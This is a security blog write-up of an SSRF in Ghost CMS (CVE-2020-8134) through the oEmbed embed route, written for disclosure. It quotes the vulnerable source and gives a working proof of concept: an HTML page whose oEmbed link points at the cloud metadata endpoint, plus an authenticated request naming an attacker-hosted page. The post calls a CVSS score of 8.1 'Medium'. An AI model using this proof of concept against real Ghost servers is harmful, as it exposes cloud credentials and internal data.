Blog
Security

SSRF in Ghost CMS via oEmbed (CVE-2020-8134)

How Ghost's embed-anything input let an authenticated publisher pivot the server into cloud metadata endpoints - and what the fix actually changed.

Ghost is the Node.js CMS behind a fair chunk of the internet’s blogs - Apple, OpenAI, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable. In early 2020 I found a Server-Side Request Forgery in Ghost 3.5.2 that let any authenticated staff user (Contributor and up) turn the blog into a proxy for requests to internal networks and cloud metadata APIs. It was fixed in 3.10.0, rated Medium (CVSS 8.1), and tracked as CVE-2020-8134.

The embed input

Ghost’s editor lets staff users embed content from YouTube, Twitter, Instagram, and so on. There’s also an “Other…” option that accepts an arbitrary URL.

Ghost editor card picker
The embed card picker. 'Other…' is the one that accepts anything.

Selecting “Other…” swaps the card for a plain URL input:

An empty text input with placeholder 'Paste URL to add embedded content…'
Whatever goes in here is passed straight to the admin oEmbed route.

Under the hood, that URL is passed to the admin oEmbed route:

GET /ghost/api/v3/admin/oembed/?url=https://attacker.example/poc.html&type=embed

The url parameter is whatever the user typed. The first thing that happens is a check against a list of known providers. If the URL doesn’t match one, Ghost does the thing that makes oEmbed discovery work: it fetches the URL itself and looks for a <link rel="alternate" type="application/json+oembed"> tag pointing at the real oEmbed endpoint.

The validation that wasn’t

The route lands in a thin query() wrapper in core/server/api/canary/oembed.js:

query({data}) {
    let {url, type} = data;
    if (type === 'bookmark') {
        return fetchBookmarkData(url);
    }
    return fetchOembedData(url).then((response) => {
        if (!response && !type) {
            return fetchBookmarkData(url);
        }
        return response;
    }).then((response) => {
        if (!response) {
            return unknownProvider(url);
        }
        return response;
    }).catch(() => {
        return unknownProvider(url);
    });
}

Notice that when fetchOembedData resolves to undefined - which it does for any URL Ghost doesn’t recognise as a provider and doesn’t find an oEmbed <link> inside - the caller swallows it and returns a generic “unknown provider” error. That’s what makes the bug look inert at first glance: you get a validation error back, but the outbound GETs have already fired.

Here’s fetchOembedData itself:

function fetchOembedData(url) {
    let provider;
    ({url, provider} = findUrlWithProvider(url));
    if (provider) {
        return knownProvider(url);
    }
    return request(url, {
        method: 'GET',
        timeout: 2 * 1000,
        followRedirect: true,
        headers: {
            'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)'
        }
    }).then((response) => {
        if (response.url !== url) {
            ({url, provider} = findUrlWithProvider(response.url));
        }
        if (provider) {
            return knownProvider(url);
        }
        const oembedUrl = getOembedUrlFromHTML(response.body);
        if (oembedUrl) {
            return request(oembedUrl, {
                method: 'GET',
                json: true
            }).then((response) => {
                return response.body;
            }).catch(() => {});
        }
    });
}

And the extractor:

const getOembedUrlFromHTML = (html) => {
    return cheerio('link[type="application/json+oembed"]', html).attr('href');
};

Two problems stacked on top of each other:

  1. The url the user submits is passed straight into request(). No host allowlist, no check for private IPs, no scheme restriction. http://169.254.169.254/... is a valid argument - the server will issue the GET. On its own, though, the body doesn’t surface back to the caller: the response has to either match a known provider or contain an oEmbed <link> before anything gets returned, so a raw metadata URL here is a blind SSRF at best.
  2. Whatever URL comes back out of the HTML’s <link rel="alternate"> tag is also passed to request() with no validation, and that response body is returned verbatim. That’s the exploitable path: point the first hop at an attacker-controlled page, have that page advertise the real target as its oEmbed endpoint, and the second request does the work.

Point the url= parameter directly at 169.254.169.254/metadata/v1.json and the response looks like a flat rejection:

JSON response
Looks like the server rejected the URL. It didn't - it issued the GET, got metadata back, then the wrapper discarded it because there was no oEmbed <link> inside.

The bypass is to take the oEmbed-discovery path instead - point url= at an attacker-controlled HTML page, let Ghost parse an <link rel="alternate" type="application/json+oembed"> out of it, and the second request reaches the internal target and its body is returned verbatim.

Reaching the metadata API

Host a page that advertises a malicious oEmbed endpoint:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <link rel="alternate" type="application/json+oembed"
          href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>

Serve it on anything public - python -m SimpleHTTPServer 8000 plus ngrok is enough. Then, logged in as any staff user on the target Ghost instance, hit the admin oEmbed endpoint with that URL:

GET /ghost/api/v3/admin/oembed/?url=https://attacker.example/poc.html&type=embed HTTP/1.1
Host: target-ghost-blog.example
Cookie: ghost-admin-api-session=...

Ghost fetches the attacker page, parses it, sees the application/json+oembed link, and issues a second GET - this time to http://169.254.169.254/metadata/v1.json. The response body is the DigitalOcean droplet’s metadata, handed back in the HTTP response:

Response
Droplet metadata returned to the browser: droplet_id, hostname, auth_key, DNS, networking, vendor_data - all of it via an embed input.
Logging into Ghost as an Author, pointing the oEmbed input at an attacker-hosted page, and reading back the DigitalOcean droplet metadata.

What shipped in 3.10.0

The fix commit is 47739396.

Disclosure

  • 2020-02-11 - Reported to Node.js Ecosystem via HackerOne (#793704); Ghost Foundation notified directly the same day.
  • 2020-02-16 - HackerOne triage confirmed the finding.
  • 2020-02-18 - Kevin Ansfield (Ghost Foundation) posted the remediation plan on the report.
  • 2020-03-03 - Patch ready, held in a private repo pending release.
  • 2020-03-09 - Ghost 3.10.0 released with the fix; report disclosed; CVE-2020-8134 assigned.
# More posts